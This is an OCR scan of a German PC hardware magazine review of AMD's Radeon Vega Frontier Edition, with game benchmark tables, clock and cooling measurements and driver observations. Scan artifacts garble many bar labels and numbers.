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Radeon Vega Frontier Edition: Leistung in Ultra HD (2160p) 


Doom (Vulkan), TSSAA 8ТХ/16:1 AF - „Devil's Dance" 


Nvidia Titan Xp/12G Egan ЕЕН 89, 1 (+38 %) 
Nvidia Geforce GTX 1080 Ti/11G u u u a 86,9 (+35 %) 


Nvidia Geforce GTX 1080/8G EEE 67,6 (+5 %) 
AMD Radeon Vega Frontier Air/16G EEE ШЕШ 64,5 (Basis) 
AMD Radeon R9 Fury X/4G ШД) 88 57,2 (11 90) 

Nvidia Geforce GTX 1070/8G ar cu 52,6 (-18 96) 
Nvidia Geforce GTX 980 Ti/6G gg 47,3 (27 %) 

AMD Radeon RX 580/8G gg pu 46,1 (-29 96) 

AMD Radeon R9 390X/8G [3er E 43,5 (-33 %) 
Nvidia Geforce GTX 970/3,5+0,5G Xm 31,8 (-51 96) 

Nvidia Geforce GTX 780 T/3G 22: 25,9 (-60 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


Nvidia Titan Xp/12G СУЕ 67,7 (+31 96) 
Nvidia Geforce GTX 1080 Ti/11G ЕБ ЕЁ 64,3 (+25 %) 
Nvidia Geforce GTX 1080/8G st 52,9 (+3 %) 
AMD Radeon Vega Frontier Air/16G ES] 51,6 (Basis) 
Nvidia Geforce GTX 1070/86 |t 42,2 (-18 96) 
AMD Radeon R9 Fury X/4G 3g? 41,3 (-20 96) 
Nvidia Geforce GTX 980 Ti/6G gr] 39,9 (-23 96) 
AMD Radeon RX 580/8G aar 33,7 (-35 96) 
AMD Radeon R9 390X/8G ШЗ 33,5 (-35 96) 
Nvidia Geforce GTX 780 T/3G 381 27,2 (-47 96) 
Nvidia Geforce GTX 970/3,5--0,5G. E3311 24,6 (-52 %) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


Nvidia Titan Xp/12G [sant 54,1 (+51 96) 
Nvidia Geforce GTX 1080 Ti/11G Egit 50,7 (+42 96) 
Nvidia Geforce GTX 1080/8G. 38 40,4 (+13 96) 
AMD Radeon Vega Frontier Air/16G ESS 35,3 (Basis) 
Nvidia Geforce GTX 1070/8G. E3911 31,3 (-13 %) 
AMD Radeon R9 Fury X/4G E939 t 30,7 (-14 96) 
Nvidia Geforce GTX 980 Ti/6G 38/1 29,4 (-18 96) 
AMD Radeon RX 580/86 i 22,5 (-37 96) 
AMD Radeon R9 390X/8G ШЕЮ 21,1 (-41 96) 
Nvidia Geforce GTX 780 T/3G MEIJ] 20,4 (-43 96) 
Nvidia Geforce GTX 970/3,5--0,5G. 8/1 19,3 (-46 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Titan Xp/12G EX 52,6 (+46 96) 
Nvidia Geforce GTX 1080 Ti/11G East 49,3 (+37 96) 
Nvidia Geforce GTX 1080/8G. X38] 39,1 (+8 96) 
AMD Radeon Vega Frontier Air/16G PET 36, 1 (Basis) 

AMD Radeon R9 Fury X/4G Eas 30,8 (-15 96) 
Nvidia Geforce GTX 1070/8G Eam 30,3 (-16 96) 
Nvidia Geforce GTX 980 Ti/6G. 3261 28,7 (-20 96) 

AMD Radeon R9 390X/8G [331 25,7 (-29 96) 
AMD Radeon RX 580/86 301 22,9 (-37 96) 
Nvidia Geforce GTX 780 T/3G BETA] 19,3 (-47 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш | 16,5 (-54 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - ,, Prague" 


Nvidia Titan Xp/12G Eg 48,6 (+42 %) 
Nvidia Geforce GTX 1080 Ti/11G. ax 45,5 (33 96) 
Nvidia Geforce GTX 1080/8G. X33! 36,1 (+6 96) 
AMD Radeon Vega Frontier Air/16G GR éIIIIIIóUIGIIGIOƏIIITZNIE Z€é€IUƏUÁ assis ) 
Nvidia Geforce GTX 1070/8G E 28,2 (-18 96) 
Nvidia Geforce GTX 980 Ti/6G 381] 27,1 (-21 96) 
AMD Radeon R9 Fury X/4G Ш 918 23,4 (-32 %) 
AMD Radeon R9 390X/8G [3011 22,4 (-35 96) 
AMD Radeon RX 580/86 ШЕ 21,0 (-39 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш | 16,9 (-51 96) 
Nvidia Geforce GTX 780 Ti/3G В 811 14,5 (-58 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF — , Rooftops" 


Nvidia Titan Xp/12G X38 x 46,8 (+58 %) 
Nvidia Geforce GTX 1080 Ti/11G. X36 44,3 (+50 96) 
Nvidia Geforce GTX 1080/86 3g 36,0 (+22 96) 
AMD Radeon Vega Frontier Air/16G ЖШШЕ 29,6 (Basis) 
Nvidia Geforce GTX 1070/86 9s 27,7 (-6 %) 
Nvidia Geforce GTX 980 Ti/6G m 19,6 (-34 96) 
AMD Radeon RX 580/86 ШТ E 19,0 (-36 96) 
AMD Radeon R9 390X/8G ЕЕ 18,5 (-38 96) 
AMD Radeon R9 Fury X/4G #818 11,2 (-62 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ж ӨЙ 11,1 (-63 96) 
Nvidia Geforce GTX 780 Ti/3G E 10,6 (-64 %) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Titan Xp/12G gs c 46,0 (+74 96) 
Nvidia Geforce GTX 1080 Ti/11G. Esq 41,5 (+57 96) 
Nvidia Geforce GTX 1080/8G. [36 ES 31,4 (+19 96) 
AMD Radeon Vega Frontier Air/16G MEMEZ 26,4 (Basis) 
Nvidia Geforce GTX 1070/8G ШШШ 24,3 (-8 96) 
Nvidia Geforce GTX 980 Ti/6G Е 24,0 (-9 96) 
AMD Radeon R9 Fury X/4G E91 22,0 (-17 96) 
AMD Radeon R9 390X/8G Ш 98 19,2 (-27 96) 
AMD Radeon RX 580/8G Ш 98 18,6 (-30 96) 
Nvidia Geforce GTX 780 Ti/3G ВО 12,1 (-54 96) 
Nvidia Geforce GTX 970/3,54-0,5G ЖЯ 10,8 (-59 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF - „Scavenger” 


Nvidia Titan Xp/12G. aq e 39,8 (+33 %) 
Nvidia Geforce GTX 1080 Ti/11G [29] | 37,9 (+27 %) 
Nvidia Geforce GTX 1080/86 is p 30,3 (+1 96) 
AMD Radeon Vega Frontier Air/16G ШИВ ШЕШ 29,9 (Basis) 
Nvidia Geforce GTX 1070/8G. MESIME 27,1 (-9 96) 
AMD Radeon R9 Fury X/4G [te 26,3 (-12 96) 
Nvidia Geforce GTX 980 Ti/6G. MMA 23,2 (-22 96) 
AMD Radeon R9 390X/8G ШШЕ 22,0 (-26 96) 
AMD Radeon RX 580/8G Ш EEE 21,6 (-28 96) 
Nvidia Geforce GTX 970/3,5+0,5G Б В ШЕШ 16,7 (-44 96) 
Nvidia Geforce GTX 780 Ti/3G HESS 14,6 (-51 96) 
Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - „Bishopsgate” 
Nvidia Titan Xp/12G Loggt 38,2 (+85 96) 
Nvidia Geforce GTX 1080 Ti/11G. E3311 36,8 (+79 96) 
Nvidia Geforce GTX 1080/8G. En 29,3 (+42 96) 
Nvidia Geforce GTX 1070/8G ШШШ 23,5 (+14 96) 
Nvidia Geforce GTX 980 Ti/6G 191! 20,7 (4-0 96) 
AMD Radeon Vega Frontier Air/16G PEP 20,6 (Basis) 
AMD Radeon RX 580/8G. ШЕ ЗІ 15,0 (-27 96) 
AMD Radeon R9 390X/8G [91311 15,0 (-27 96) 
AMD Radeon R9 Fury X/4G | 12,6 (-39 96) 
Nvidia Geforce GTX 970/3,5+0,56 Ш 0 10,9 (-47 96) 
Nvidia Geforce GTX 780 Ti/3G 161 6,9 (-67 96) 
СТА 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - „Grapeseed” 
Nvidia Titan Xp/12G Xm 33,7 (+69 96) 
Nvidia Geforce GTX 1080 Ti/11G [39H 31,9 (+60 96) 
Nvidia Geforce GTX 1080/8G. [3311 25,2 (+27 96) 
Nvidia Geforce GTX 1070/8G 181: 20,3 (+2 96) 
AMD Radeon Vega Frontier Air/16G Ш 19,9 (Basis) 
Nvidia Geforce GTX 980 Ti/6G EI 18,7 (-6 96) 
AMD Radeon R9 390X/8G BESI] 15,2 (-24 96) 
AMD Radeon R9 Fury X/4G 988 14,2 (-29 96) 
AMD Radeon RX 580/8G [SW 13,2 (-34 96) 
Nvidia Geforce GTX 970/3,5+0,5G 161 6,9 (-65 96) 
Nvidia Geforce GTX 780 Ti/3G 819 6,7 (-66 96) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.76, Radeon Pro Software 17.6-Juni27 (Gaming Mode), RS 17.6.2, HQ-AF MiMi 2 Fps 
Bemerkungen: Dank ihres großen Speichers und hoher Rohleistung rückt die Vega Frontier Edition in Ultra HD etwas näher an die Geforce GTX 1080 Founder's Edition heran. » Besser 
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lang wohl nicht verwendet. Tests 
mit dem Programm trianglebin, 
das mithilfe absichtlich verdeckter 
Polygone die Rasterisierungsrei- 
henfolge prüft, legen nahe, dass 
sich Vega 10 wie ein gewöhnlicher 
Immediate-Renderer verhält, die 
Polygone also stur nacheinander 
zeichnet, ohne die Verdeckung 
zu prüfen. Dazu passt die durch- 
schnittliche Spieleleistung, welche 
wir später ausführen. 


AMDs Schweigen facht Spekulati- 
onen an. Die unwahrscheinliche 
Ursache für den (anscheinend!) 
inaktiven DSBR könnte ein Hard- 
ware-Defekt innerhalb der aktuel- 
len Al-Revision von Vega 10 sein. 
Wahrscheinlicher ist die Theorie 
um eine Heuristik, gemäß derer 
Vega den DSBR selektiv aktiviert, 
diesen bei trianglebin aber (irrtüm- 
lich) nicht als sinnvoll erachtet. Der 
Gedanke, dass die Frontier Edition 
kein Gamingprodukt ist und ein 
Feature, welches vor allem Spiele 
beschleunigt, daher nicht nutzt, ist 
nur zur Hälfte richtig. AMD bestä- 
tigte englischsprachigen Kollegen 
auf Nachfrage, dass der Frontier- 
Treiber sehr wohl Gamingopti- 
mierungen enthalte, betonte dabei 
jedoch, dass es sich nicht um den 
allerneuesten Code handele. 


Tatsächlich haben wir während 
der Spieletests nicht einen Bug zu 
Gesicht bekommen. Allein Mass 
Effect: Andromeda beschwert sich 
bei Spielstart über einen veralte- 
ten Treiber, was mit der Versio- 
nierung zusammenhängt. Der bis 
Redaktionsschluss (21. Juli) einzi- 
ge Frontier-Treiber mit dem Ver- 


www.pcgameshardware.de 


packungsdatum 27. Juni wird von 
AMD als „17.6“ angeboten, da er im 
Juni erschien. Intern meldet er sich 
jedoch mit der Versionsnummer 
17.1.1, was den Schluss nahelegt, 
dass Teile des Codes veraltet sind 
und Vega derzeit in einem „Fiji 
Fallback“-Modus betrieben wird, 
in dem die neuen Funktionen des 
Chips nicht oder nur teilweise Ver- 
wendung finden. 


Das schürt natürlich die Hoffnun- 
gen auf einen „Wundertreiber“, der 
die Handbremse löst und auch die 
anstehenden Radeon-RX-Modelle 
beschleunigt. Die am 31. Juli und 
somit nach unserem Test erschie- 
nene Radeon Pro Software (RPS) 
17.8 könnte erste Vega-Verbesse- 
rungen bringen. AMD entgegnete 
auf unsere Frage am 20. Juli, ob der 
DSBR damit eingeschaltet werden 
würde, nur vage, dass man sich auf 
den letzten Metern der Entwick- 
lung befinde. Wie die Geschichte 
ausgeht, erfahren Sie in der kom- 
menden Ausgabe. Nun zurück zum 
Status quo. 


VSR, AA, AF: erprobt 

Obgleich Grund zur Annahme be- 
steht, dass die RPS 17.6 unfertig ist, 
hinterlässt die Vega Frontier Editi- 
on einen weitgehend ausgereiften 
Eindruck, sowohl im „Pro Mode“ als 
auch im „Gaming Mode“. Standard- 
mäßig wird die Vega FE als „Pro“- 
Grafikkarte installiert, die Radeon 
Settings sind daher blau gehalten 
und bieten einige Funktionen, die 
im Gamingmodus nicht verfügbar 
sind. Klickt man im Hauptfenster 
links unten auf den entsprechen- 
den Knopf, ist ein Moduswechsel 


Die Vega FE kann effizient(er) in den Hauptspeicher auslagern („HBCC Memory Seg- 
ment”). In Watch Dogs 2 haben wir die 16 GiByte HBM + 1,9 GiByte RAM gefüllt. 


möglich, woraufhin das GUI neu 
geladen wird. Der Gamingmodus 
lässt die Radeon-Einstellungen im 
von „normalen“ Radeon-Grafikkar- 
ten bekannten Rot erstrahlen und 
schaltet das Wattman-Menü frei, 
in dem sich die Frontier Edition 
sowohl übertakten als auch under- 
volten lässt. Der Wattman kämpft 
derzeit mit sporadisch auftreten- 
den Bugs (u. a. bleibt der Speicher- 
takt im Low-Power-State hängen), 
grundsätzlich funktioniert er je- 
doch und hat einen großen Effekt 
auf die Leistung. Dazu gleich mehr. 


Virtual Super Resolution, AMDs 
Downsampling-Implementierung 
im Treiber, funktioniert im glei- 
chen Umfang wie bei Polaris-ba- 
sierten Grafikkarten. So können 
Nutzer eines verbreiteten Full- oder 
WOHD-Displays die zusätzlichen 
Auflösungen 3.200 x 1.800 und 
3.840 x 2.160 aktivieren. Nimmt 
ein Ultra-HD-Panel Kontakt auf, 
stellt VSR 5.120 x 2.880 (5K) zur 
Verfügung. In Sachen Anti-Alia- 
sing ist nach wie vor 8x EQAA das 
Höchste der Gefühle. Letzteres 
stellt eine Ende 2010 mit der Cay- 
man- GPU vorgestellte Erweiterung 


klassischen Multisamplings dar, das 
in modernen Spielen jedoch nur 
selten funktioniert, da MSAA hier 
kaum noch angeboten wird und 
sich nicht einfach per Treiber for- 
cieren, oft nicht einmal erweitern 
lässt. Wer EQAA in Aktion erleben 
möchte, kann das unter anderem in 
Dirt 4 und Grid Autosport tun. 


Der anisotrope Texturfilter war in 
der Vergangenheit oft das Ziel von 
„Optimierungen“. Auch bei der 
Frontier Edition sind im Ausliefe- 
rungszustand des Treibers Kniffe 
aktiv, welche Rechenzeit sparen. 
Das trifft auf jede aktuelle Rade- 
on und Geforce zu und ist nicht 
verwerflich, zumal sich die Spar- 
maßnahmen mit zwei Klicks deak- 
tivieren lassen: Wählen Sie einfach 
„Hoch“ anstelle von „Standard“. Ve- 
gas HQ-Texturfilter ist in all unse- 
ren Stichproben sauber und liefert 
keinen Anlass zur Kritik. 


Kühler, Temperaturen, Laut- 
heit und Verbrauch 

Die Radeon Vega Frontier Edition 
Air verwendet, wie der Name be- 
reits impliziert, einen Luftkühler. 
Der arbeitet nach dem DHE-Prin- 


Atlantikblaues Aluminium: Das steckt dahinter 


Die Frontier Edition trägt eine blaue Kühlerabdeckung aus Aluminium. Das Blau wird nicht etwa 
durch Lack gewonnen, sondern durch Anodisierung alias Eloxierung mit Farbzugabe. 


Bei der Anodisierung handelt es sich um einen elektrochemischen Vorgang, der die Oberfläche gewöhnlichen 

Aluminiums in Aluminiumoxid umwandelt. Die aufgetragene Oxidschicht ist dauerhaft mit dem Aluminium ver- 
bunden und gewährt dem Metall nicht nur eine wesentlich bessere Widerstandsfähigkeit gegenüber Korrosion, 
sondern kann auch nach Gusto umgefärbt werden. AMD setzt bei der Radeon Vega Frontier Edition beides um. 


Die Farbwahl erinnert an einen schwedischen Möbelgiganten, doch das ist gewiss unbeabsichtigt. 


Die elektrolytische Oxidation von Aluminium wird mit der Bezeichnung Eloxal abgekürzt. Bei diesem Verfahren 
wird das Aluminium in eine elektrisch leitende Flüssigkeit getaucht und als Anode an eine Gleichspannungs- 
quelle angeschlossen. Als Kathode dienen beispielsweise rostfreier Stahl, Blei oder Aluminium. Im dadurch 
konstruierten Spannungsfeld wandern sauerstoffhaltige Anionen zur Oberfläche des Aluminiums und reagieren 
dort zum gewünschten Aluminiumoxid. Um einen Blauton im Stile der Radeon Vega Frontier Edition zu 
erhalten, muss die anodisch erzeugte Oxidschicht mittels Tauchfärbung (Zugabe von Farbstoffen in wässriger 
Lösung) dazu motiviert werden. 
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zip: Beim Direct Heat Exhaust sitzt 
ein Radiallüfter am Heck der Plati- 
ne, saugt Umgebungsluft von ober- 
halb der Lüfternabe an und presst 
sie anschließend durch einen Luft- 
tunnel, an dessen Ende sich die 
Slotblende der Grafikkarte befindet 
- der Löwenanteil der Abwärme 
wird aus dem Gehäuse befördert. 
Damit tritt sie in die Fußstapfen 
unzähliger Referenzkarten, welche 
fast ausschließlich DHE-Designs 
darstellen. 


Mit den programmierten Parame- 
tern kann die Frontier Edition Air 
nicht anders, als sich nach kurzer 
Zeit selbst zu kasteien. Je nachdem, 
wie lange die Last andauert, führen 
entweder die fließenden Ströme 
oder die Temperatur dazu, dass 
der Boost von bestenfalls 1.600 
MHz auf 1.528 bis 1.440 MHz unter 
normaler (Spiele-)Last, auf 1.348 
MHz unter hoher Spielelast und 
in seltenen Fällen sogar auf 1.269 
MHz fällt. Die Hochs und Tiefs 
sind nicht nur beim Takt, sondern 
auch als „Zickzack“-Verlauf der Leis- 


tungsaufnahme ersichtlich. Ein Bei- 
spiel aus unseren Messungen: Setzt 
die Karte 1.440 MHz bei 1,1 Volt, 
messen wir auf den 12-Volt-Versor- 
gungskabeln je nach Auslastung 
eine Stromstärke zwischen 10,5 
und 11 Ampere. Sinkt der Takt auf 
1.348 MHz bei 1,05 Volt, fallen die 
Ströme auf 8 bis 8,5 Ampere. Zwi- 
schen den beiden Taktstufen liegen 
folglich bis zu (circa) 50 Watt Leis- 
tungsaufnahme. Die Schwankun- 
gen haben zur Folge, dass wir bei 
den Messwerten weder den Spit- 
zen- noch den Minimalwert ange- 
ben, sondern einen Durchschnitts- 
wert, welcher die meistverwendete 
Frequenz berücksichtigt. 


Wer die Frontier Edition zum Spie- 
len verwendet, treibt sie binnen 
weniger Minuten in das bei 85 °C 
hinterlegte Temperaturlimit. Die- 
ser Wert wird unter dauerhafter 
Volllast immer erreicht, da AMD die 
maximale Lüfterleistung auf rund 
40 Prozent respektive 2.000 Um- 
drehungen pro Minute festgesetzt 
hat. Aufgrund der nicht punktge- 


Radeon Vega FE: Taktraten in den 30 Testspielen 


Spiel 1.920 x 1.080 2.560 x 1.440 3.840 x 2.160 
Ashes of the Singularity .348-)1.440 MHz | 1.348(-1.440) MHz | (1.269-)1.440 MHz 
AC: Syndicate .440-)1.528 MHz .440-)1.528 MHz | (1.348-)1.440 MHz 
Bioshock Infinite .348-)1.440 MHz | 1.348(-1.440) MHz .348(-1.440) MHz 
CoD: MW Remastered .440-)1.528 MHz .348-)1.440 MHz .348(-1.440) MHz 
Crysis 3 .440-)1.528 MHz .348-)1.440 MHz .348(-1.440) MHz 
Crysis Warhead .440-)1.528 MHz .348-)1.528 MHz | (1.348-)1.440 MHz 
Deus Ex: Mankind Div. .440-)1.528 MHz | 1.440(-1.528) MHz .348(-1.440) MHz 
Dirt 4 .348-)1.528 MHz .348-)1.440 MHz .348(-1.440) MHz 
Doom (2016) .348-)1.440 MHz | 1.348(-1.440) MHz | 1.269(-1.348) MHz 
Ghost Recon: Wildlands .440-)1.528 MHz | 1.440(-1.528) MHz .348(-1.528) MHz 
ES 5: Skyrim .440-)1.528 MHz .348-)1.528 MHz | (1.348-)1.440 MHz 
F12016 1.528(-1.600) MHz .440-)1.528 MHz | (1.348-)1.440 MHz 
Fallout 4 .348-)1.440 MHz .348-)1.440 MHz .348(-1.440) MHz 
Far Cry: Primal .348-)1.440 MHz .348-)1.440 MHz .348(-1.440) MHz 
For Honor .348-)1.528 MHz .348-)1.440 MHz .348(-1.440) MHz 
Grand Theft Auto 5 (1.440-)1.600 MHz 440(-1.528) MHz .440(-1.528) MHz 
Hitman .440-)1.528 MHz .440(-1.528) MHz .348(-1.440) MHz 
Mass Effect: Andromeda | 1.440(-1.528) MHz .348-)1.440 MHz .348(-1.440) MHz 
irror's Edge: Catalyst .440-)1.528 MHz .440(-1.528) MHz .348(-1.440) MHz 
ex Machina .440-)1.528 MHz .348-)1.440 MHz .348(-1.440) MHz 
Overwatch .348-)1.440 MHz .348-)1.440 MHz .348(-1.440) MHz 
Prey (2017) .440-)1.528 MHz 440(-1.528) MHz .348(-1.440) MHz 
ROTTR .440-)1.528 MHz .440(-1.528) MHz .348(-1.440) MHz 
Sniper Elite 4 1.440(-1.528) MHz .348(-1.440) MHz .348(-1.440) MHz 
alos Principle .348-)1.440 MHz | (1.348-)1.440 MHz .348(-1.440) MHz 
he Witcher 3 1.440(-1.528) MHz .348(-1.528) MHz | 1.269(-1.440) MHz 
itanfall 2 1.440(-1.528) MHz | (1.348-)1.440 MHz .348(-1.440 MHz) 
W: Warhammer (1.440-)1.528 MHz .440(-1.528) MHz .440(-1.528) MHz 
Ethan Carter Redux (1.348-)1.528 MHz | (1.348-)1.440 MHz | 1.269(-1.440) MHz 
Watch Dogs 2 (1.440-)1.528 MHz | (1.348-)1.528 MHz .440(-1.528) MHz 
Bemerkungen: Takt auBerhalb der Klammer = meistgenutzter Boost. Taktraten stets im 
Wechselspiel. Mit steigender Auflösung wird der geringere Boost öfter verwendet als der 
höhere. Farblich markiert: die Höchst-/Tiefswerte während der Tests. 
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nauen Regelung können die Werte 
auch 41/42 Prozent sowie maximal 
2.060 RPM betragen. Dort ange- 
kommen, drosselt sich die GPU 
eifrig, die Leistung sinkt. Die ma- 
ximale Lautheit beträgt dann 3,6 
Sone mit der Charakteristik „Rau- 
schen“. Beachten Sie dazu auch die 
Lüfterskalierung auf Seite 31. Alle 
Messwerte finden Sie hingegen in 
der Tabelle auf Seite 32. 


Im Gegensatz dazu verwendet die 
Vega FE Liquid ein aufwendiges 
AiO-Wasserkühlsystem, um die zu- 
sätzliche Leistungsaufnahme von 
75 Watt leise(r) zu bändigen. Da 
wir kein Muster der 1.650-Euro- 
Grafikkarte besitzen, bleiben wir 
Ihnen Emissionsmessungen schul- 
dig - ihre Spieleleistung simulieren 
wir jedoch in Spezialbenchmarks. 


Leistung: Synthies 

Wir haben die Vega FE durch zahl- 
reiche spezialisierte Tests gejagt, 
um damit die Stärken und Schwä- 
chen des Prozessors zu skizzieren. 
Neben Tessellation warten Mes- 
sungen der Füllraten, Speicher- 
transferrate und Rechenleistung 
mit unterschiedlicher Präzision 
auf Sie. Dazu servieren wir die Fol- 
ding@Home-Leistung sowie einen 
Mining-Happen: Beim Ethereum- 
Schürfen leistet die Vega FE rund 
32 Megahashes/s. Wer den Speicher 
auf 1.100 MHz übertaktet, freut 
sich über beinahe 38 MH/s, muss 
aber mit hohem Stromverbrauch 
rechnen. Stabiles Undervolting bei 
gleichzeitigem Memory-OC gelang 
uns beim Minen noch nicht. Apro- 
pos: Bis Redaktionsschluss liefen 
noch längst nicht alle bekannten 
Miningprogramme mit Vega. Hier 
kann sich durchaus noch die eine 
oder ander Perle verbergen, wie 
etwa das stärker von der GPU-Re- 
chenpower als von der Speicher- 
leistung abhängende Zcash (ZEC). 


Alle erhobenen Daten zu erläutern, 
würde den Artikel sprengen, daher 
fokussieren wir die Auffälligkeiten. 
Da wären die Füllraten, bei denen 
Vega gegenüber der Fury X etwas 
effizienter arbeitet und deutlich 
näher an die theoretische Marke 
von vier verworfenen Tiefenpuffer- 
Werten (Z-Rejects) pro Pixel her- 
ankommt als sämtliche AMD-Vor- 
gängerarchitekturen. Dabei ist der 
hierbei potenziell hilfreiche DSBR 
angeblich noch nicht einmal aktiv. 


Spannend ist auch das sehr gute Ab- 
schneiden im Polygon-Test, je hö- 
her der Anteil tatsächlich gezeich- 
neter (also nicht verworfenen/ 
0% culled) Geometrie wird. Beson- 
ders auffällig: Bei Anordnung als 
Triangle-Strip ist Vega FE mehr als 
doppelt so schnell wie die Fury X. 
Möglicherweise greift hier die von 
AMD für Vega beworbene Arbeit 
an elf Dreiecken gleichzeitig, was 
unter anderem durch einen ge- 
meinsam genutzten Vertex-Cache 
und die Kommunikation der (nach 
wie vor vier) Geometrie-Einheiten 
untereinander möglich wäre. 


Spätestens im Pro-Takt-Test wird 
offenbar, dass in jeder getesteten 
Ausprägung der Pixeltapeten der 
alte Fiji-Chip um 25 Prozent vorn 
liegt. Ob hier ein Treiberbeschnitt 
vorliegt, in der Vega-GPU durch das 
veränderte Caching-System Opfer 
gebracht wurden oder der Chip 
gar weniger als 256 Textureinhei- 
ten besitzt, lässt sich derzeit nicht 
sagen. Ergänzende, allerdings nur 
stichprobenartige Tests haben er- 
geben, dass Vega nicht auffällig ein- 
bricht, sobald er anisotrop filtern 
muss. Die „Optimierungen“ der 
Qualität führen jedoch zu messbar 
höheren Bildraten - das ist bei Fiji 
& Co. nicht anders. 


Auch der erreichte Speicherdurch- 
satz enttäuscht auf den ersten 
Blick. Hier scheint im aktuellen 
Paket aus Vega-GPU und Treiber 
der Schwachpunkt zu liegen, der 
vermutlich auch die Gamingleis- 
tung beeinträchtigt. Allerdings gibt 
es auch dabei einen Lichtblick: Mit 
nur einer Textur legt das Speicher- 
system der Vega FE mit +62 Prozent 
stärker zu als bei der Fury X oder 
dem getesteten Polaris-Modell. 
Eventuell ist nur die Ansteuerung 
des Caches noch nicht optimal. 


In der Disziplin Tessellation hat 
Vega gegenüber seinen Vorgän- 
gern zugelegt, allerdings nicht in 
dem Maße, wie man das anhand 
der Vorabankündigungen seitens 
AMD möglicherweise 
hätte. Nach wie vor sind empfind- 
liche Leistungseinbußen bei den 
höheren Zerlegungsfaktoren sicht- 
bar, beim Maximum von 64x sind 
Geforce-Chips ungeschlagen. 
Mittel über alle Tessellationsstufen 
liegt Vega pro Takt rund 12 Prozent 
vor Fiji. 
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GRAFIKKARTEN | Radeon Vega Frontier Edition 


Bonusbenchmarks neuer Spiele WQHD - Vega FE mit und ohne Übertaktung 


Nex Machina, max. Details, TAA/16:1 AF - „Fire Cavern" 


Geforce GTX 1080 T/11G m ü 168,7 (+36 96) 
Radeon Vega Frontier OC ** www——=s=w—% ШЕШ 149,2 (+21 %) 
Geforce GTX 1080/8G as s 142,2 (+15 96) 
Radeon Vega Frontier maxed * 138,1 (+12 96) 
Radeon Vega Frontier Air/16G ОО 123,8 (Basis) 
Geforce GTX 1070/8G ТӨЗ! 114,1 (-8 96) 
Radeon R9 Fury X/4G gan 109,1 (-12 96) 


Doom (Vulkan), Nightmare-Preset (forciert), TSSAA 8TX/16:1 AF - , Devil's Dance" 


Geforce GTX 1080 Ti/11G. GG 153,2 («33 %) 
Radeon Vega Frontier OC ** EE 142,5 (+24 %) 
Radeon Vega Frontier maxed * IE 130,9 (+14 96) 
Geforce GTX 1080/8G sama 121,8 (+6 96) 
Radeon Vega Frontier Air/16G DI ;CFXGERI T 115,0 (Basis) 
Radeon R9 Fury X/4G |a pu 99,5 (-13 %) 
Geforce GTX 1070/8G EX ps 93,0 (-19 96) 


Prey, SMAA 2TX/16:1 AF - , Hardware Labs" 


Geforce GTX 1080 Ti/11G. 0818 117,3 (+41 96) 
Radeon Vega Frontier OC ** EB 101,1 (+22 %) 
Geforce GTX 1080/8G gg 95,9 (+15 96) 
Radeon Vega Frontier maxed * ww 93,5 (+13 %) 
Radeon Vega Frontier Air/16G EEE 83,1 (Basis) 
Geforce GTX 1070/8G ШЕ 77,4 (7 %) 
Radeon R9 Fury X/4G eg 76,1 (-8 %) 


For Honor, max. Details, TAA/16:1 AF - , Valkenheim" 


Geforce GTX 1080 Ti/11G [oen 112,0 (+61 96) 
Geforce GTX 1080/8G git 88,3 (+27 96) 
Radeon Vega Frontier OC ** ЕО 84,9 (+22 %) 
Radeon Vega Frontier maxed * EA 78,2 (+13 %) 
Geforce GTX 1070/8G er 70,1 (+1 96) 
Radeon Vega Frontier Air/16G ESSO 69,4 (Basis) 
Radeon R9 Fury X/4G Ecce 63,7 (-8 96) 


Hitman (DX12), max. Details, TAA/16:1 AF - „Sapienza Sundown” 


Geforce GTX 1080 Ti/11G. Xa pu 95,9 (+17 96) 
Geforce GTX 1080/8G m ШЇ 88,8 (+9 96) 
Radeon Vega Frontier OC ** EESTI 87,1 (+6 96) 
Radeon Vega Frontier maxed * EEE EN 84,5 (+3 96) 
Radeon Vega Frontier Air/16G EIN 81,8 (Basis) 
Geforce GTX 1070/8G [egt 71,8 (-12 96) 
Radeon R9 Fury X/4G E 66,5 (-19 96) 
Titanfall 2, max. Details, TAA/16:1 AF - , Titanic Falls" 


Geforce GTX 1080 Ti/11G. uuu, ШЇ 95,1 (+30 96) 
Radeon Vega Frontier ОС ** EESTI 84,2 (+15 96) 

Radeon Vega Frontier maxed * EZ 82,6 (+13 96) 

Geforce GTX 1080/8G ga 80,4 (4-10 96) 
Radeon Vega Frontier Air/16G BEE 73,1 (Basis) 
Geforce GTX 1070/8G. Xs E 62,3 (-15 96) 
Radeon R9 Fury X/4G Egi 56,2 (-23 96) 
CoD: MW Remastered, 2x SSAA + SMAA T2x/16:1 AF - „The Swamp" 


Geforce GTX 1080 Ti/11G. [Xa 94,1 (+43 96) 
Radeon Vega Frontier OC ** EEG 78,0 (+19 96) 
Geforce GTX 1080/8G eg ШЇ 73,9 (4-12 96) 
Radeon Vega Frontier maxed * [ESI 68,7 (+5 96) 
Radeon Vega Frontier Air/16G MEMS 65,7 (Basis) 
Geforce GTX 1070/8G ШЕ 60,9 (-7 96) 
Radeon R9 Fury X/4G EM 48,9 (-26 %) 


Dirt 4, max. Details, 4x MSAA/16:1 AF - Michigan" 


Radeon Vega Frontier OC ** ШЗ 75,1 (+25 %) 
Geforce GTX 1080 Ti/11G. es 73,6 (+23 96) 
Radeon Vega Frontier maxed * BEE 71,1 (+19 96) 
Radeon Vega Frontier Air/16G BEE 59,9 (Basis) 
Geforce GTX 1080/8G. M53 F 59,5 (-1 96) 
Radeon R9 Fury X/4G [wr 50,9 (-15 96) 
Geforce GTX 1070/8G. ШШШ 48,5 (-19 96) 


Mass Effect Andromeda, max. Details, TAA/16:1 AF - „Forlorn Dreams" 


